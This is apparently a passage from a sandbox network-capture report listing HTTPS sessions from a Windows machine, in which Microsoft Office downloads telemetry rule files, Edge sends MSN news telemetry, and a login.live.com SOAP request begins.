2024-11-20 07:09:26 UTC	448	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 50 70 5d 5b 41 61 5d 5b 43 63 5d 5b 48 68 5d 5b 45 65 5d 20 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120647" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <SR T="2" R="([Aa][Pp][Aa][Cc][Hh][Ee] [Ss][Oo][Ff][Tt][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR>

Session ID	Source IP	Source Port	Destination IP	Destination Port
92	192.168.2.5	49880	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 07:09:26 UTC	192	OUT	GET /rules/rule120649v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 07:09:26 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 07:09:26 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:21 GMT ETag: "0x8DC582BAEA4B445" x-ms-request-id: 5b8b83f7-201e-0033-0b8c-3ab167000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T070926Z-185f5d8b95c95vpshC1NYC759c00000009wg000000009n1s x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 07:09:26 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 46 66 5d 5b 45 65 5d 5b 44 64 5d 5b 4f 6f 5d 5b 52 72 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120649" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <SR T="2" R="^([Ff][Ee][Dd][Oo][Rr][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port
93	192.168.2.5	49878	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 07:09:26 UTC	192	OUT	GET /rules/rule120648v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 07:09:26 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 07:09:26 GMT Content-Type: text/xml Content-Length: 491 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B98B88612" x-ms-request-id: e456cfdf-c01e-0014-248c-3aa6a3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T070926Z-185f5d8b95cdcwrthC1NYCy5b800000009s000000000nzym x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 07:09:26 UTC	491	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120648" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
94	192.168.2.5	49881	52.138.229.66	443	7860	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 07:09:26 UTC	1033	OUT	POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1732086565259&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1 Host: browser.events.data.msn.com Connection: keep-alive Content-Length: 5292 sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: USRLOC=; MUID=0D5DEEC7B95C6AE11814FBFAB85B6BD9; _EDGE_S=F=1&SID=00138218F82B6D62278E9725F9436C7D; _EDGE_V=1; msnup=
2024-11-20 07:09:26 UTC	5292	OUT	Data Raw: 7b 22 6e 61 6d 65 22 3a 22 4d 53 2e 4e 65 77 73 2e 57 65 62 2e 4c 6f 61 64 54 69 6d 65 22 2c 22 74 69 6d 65 22 3a 22 32 30 32 34 2d 31 31 2d 32 30 54 30 37 3a 30 39 3a 32 35 2e 32 35 38 5a 22 2c 22 76 65 72 22 3a 22 34 2e 30 22 2c 22 69 4b 65 79 22 3a 22 6f 3a 30 64 65 64 36 30 63 37 35 65 34 34 34 34 33 61 61 33 34 38 34 63 34 32 63 31 63 34 33 66 65 38 22 2c 22 65 78 74 22 3a 7b 22 73 64 6b 22 3a 7b 22 76 65 72 22 3a 22 31 44 53 2d 57 65 62 2d 4a 53 2d 33 2e 32 2e 38 22 2c 22 73 65 71 22 3a 34 2c 22 69 6e 73 74 61 6c 6c 49 64 22 3a 22 37 64 39 35 38 37 31 31 2d 37 30 39 61 2d 34 65 39 65 2d 61 62 64 62 2d 33 30 39 61 30 39 62 32 31 37 32 66 22 2c 22 65 70 6f 63 68 22 3a 22 32 30 32 32 39 30 30 34 33 30 22 7d 2c 22 61 70 70 22 3a 7b 22 6c 6f 63 61 6c 65 Data Ascii: {"name":"MS.News.Web.LoadTime","time":"2024-11-20T07:09:25.258Z","ver":"4.0","iKey":"o:0ded60c75e44443aa3484c42c1c43fe8","ext":{"sdk":{"ver":"1DS-Web-JS-3.2.8","seq":4,"installId":"7d958711-709a-4e9e-abdb-309a09b2172f","epoch":"2022900430"},"app":{"locale
2024-11-20 07:09:27 UTC	890	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Strict-Transport-Security: max-age=31536000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: MC1=GUID=254dab4a3eb94620a3e7437efd257e82&HASH=254d&LV=202411&V=4&LU=1732086567742; Domain=.microsoft.com; Expires=Thu, 20 Nov 2025 07:09:27 GMT; Path=/;Secure; SameSite=None Set-Cookie: MS0=c03445fa0922421ab84850a5456afaed; Domain=.microsoft.com; Expires=Wed, 20 Nov 2024 07:39:27 GMT; Path=/;Secure; SameSite=None time-delta-millis: 2483 Access-Control-Allow-Headers: P3P,Set-Cookie,time-delta-millis Access-Control-Allow-Methods: POST Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Expose-Headers: time-delta-millis Date: Wed, 20 Nov 2024 07:09:27 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port
95	192.168.2.5	49883	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 07:09:26 UTC	192	OUT	GET /rules/rule120650v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 07:09:27 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 07:09:27 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989EE75B" x-ms-request-id: a1cdeef9-f01e-0020-348c-3a956b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T070927Z-185f5d8b95ckwnflhC1NYCx9qs0000000a1g000000001rgc x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 07:09:27 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120650" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
96	192.168.2.5	49886	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 07:09:27 UTC	192	OUT	GET /rules/rule120652v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 07:09:27 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 07:09:27 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97E6FCDD" x-ms-request-id: b82dc135-b01e-0053-1a8c-3acdf8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T070927Z-185f5d8b95c4bhwphC1NYCs8gw00000009x000000000ks9a x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 07:09:27 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120652" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
97	192.168.2.5	49884	52.138.229.66	443	7860	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 07:09:27 UTC	1033	OUT	POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1732086565600&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1 Host: browser.events.data.msn.com Connection: keep-alive Content-Length: 9664 sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: USRLOC=; MUID=0D5DEEC7B95C6AE11814FBFAB85B6BD9; _EDGE_S=F=1&SID=00138218F82B6D62278E9725F9436C7D; _EDGE_V=1; msnup=
2024-11-20 07:09:27 UTC	9664	OUT	Data Raw: 7b 22 6e 61 6d 65 22 3a 22 4d 53 2e 4e 65 77 73 2e 57 65 62 2e 43 6f 6e 74 65 6e 74 56 69 65 77 22 2c 22 74 69 6d 65 22 3a 22 32 30 32 34 2d 31 31 2d 32 30 54 30 37 3a 30 39 3a 32 35 2e 35 39 39 5a 22 2c 22 76 65 72 22 3a 22 34 2e 30 22 2c 22 69 4b 65 79 22 3a 22 6f 3a 30 64 65 64 36 30 63 37 35 65 34 34 34 34 33 61 61 33 34 38 34 63 34 32 63 31 63 34 33 66 65 38 22 2c 22 65 78 74 22 3a 7b 22 73 64 6b 22 3a 7b 22 76 65 72 22 3a 22 31 44 53 2d 57 65 62 2d 4a 53 2d 33 2e 32 2e 38 22 2c 22 73 65 71 22 3a 35 2c 22 69 6e 73 74 61 6c 6c 49 64 22 3a 22 37 64 39 35 38 37 31 31 2d 37 30 39 61 2d 34 65 39 65 2d 61 62 64 62 2d 33 30 39 61 30 39 62 32 31 37 32 66 22 2c 22 65 70 6f 63 68 22 3a 22 32 30 32 32 39 30 30 34 33 30 22 7d 2c 22 61 70 70 22 3a 7b 22 6c 6f 63 Data Ascii: {"name":"MS.News.Web.ContentView","time":"2024-11-20T07:09:25.599Z","ver":"4.0","iKey":"o:0ded60c75e44443aa3484c42c1c43fe8","ext":{"sdk":{"ver":"1DS-Web-JS-3.2.8","seq":5,"installId":"7d958711-709a-4e9e-abdb-309a09b2172f","epoch":"2022900430"},"app":{"loc
2024-11-20 07:09:27 UTC	890	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Strict-Transport-Security: max-age=31536000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: MC1=GUID=c3067c54b8cb4a0a951df88b889dd8cc&HASH=c306&LV=202411&V=4&LU=1732086567202; Domain=.microsoft.com; Expires=Thu, 20 Nov 2025 07:09:27 GMT; Path=/;Secure; SameSite=None Set-Cookie: MS0=2f0c7d0a5e4b45f9bbbdd58463d6035d; Domain=.microsoft.com; Expires=Wed, 20 Nov 2024 07:39:27 GMT; Path=/;Secure; SameSite=None time-delta-millis: 1602 Access-Control-Allow-Headers: P3P,Set-Cookie,time-delta-millis Access-Control-Allow-Methods: POST Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Expose-Headers: time-delta-millis Date: Wed, 20 Nov 2024 07:09:27 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port
98	192.168.2.5	49885	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 07:09:27 UTC	192	OUT	GET /rules/rule120651v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 07:09:27 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 07:09:27 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: 0514cbb3-901e-00ac-0281-3ab69e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T070927Z-1777c6cb754gc8g6hC1TEB966c000000099g000000004tbv x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 07:09:27 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 47 67 5d 5b 4c 6c 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120651" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <SR T="2" R="([Gg][Oo][Oo][Gg][Ll][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
99	192.168.2.5	49887	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 07:09:27 UTC	192	OUT	GET /rules/rule120653v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 07:09:27 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 07:09:27 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C710B28" x-ms-request-id: 7511da03-801e-0083-3b8c-3af0ae000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T070927Z-185f5d8b95ctl8xlhC1NYCn94g00000009w000000000gys8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 07:09:27 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 49 69 5d 5b 4e 6e 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 54 74 5d 5b 45 65 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120653" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <SR T="2" R="([Ii][Nn][Nn][Oo][Tt][Ee][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
100	192.168.2.5	49888	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 07:09:27 UTC	192	OUT	GET /rules/rule120654v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 07:09:27 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 07:09:27 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:05 GMT ETag: "0x8DC582BA54DCC28" x-ms-request-id: bdf96f18-c01e-0066-808c-3aa1ec000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T070927Z-1777c6cb754whff4hC1TEBcd6c00000007x000000000837h x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 07:09:27 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120654" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
101	192.168.2.5	49882	40.126.32.136	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 07:09:27 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 3592 Host: login.live.com
2024-11-20 07:09:27 UTC	3592	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
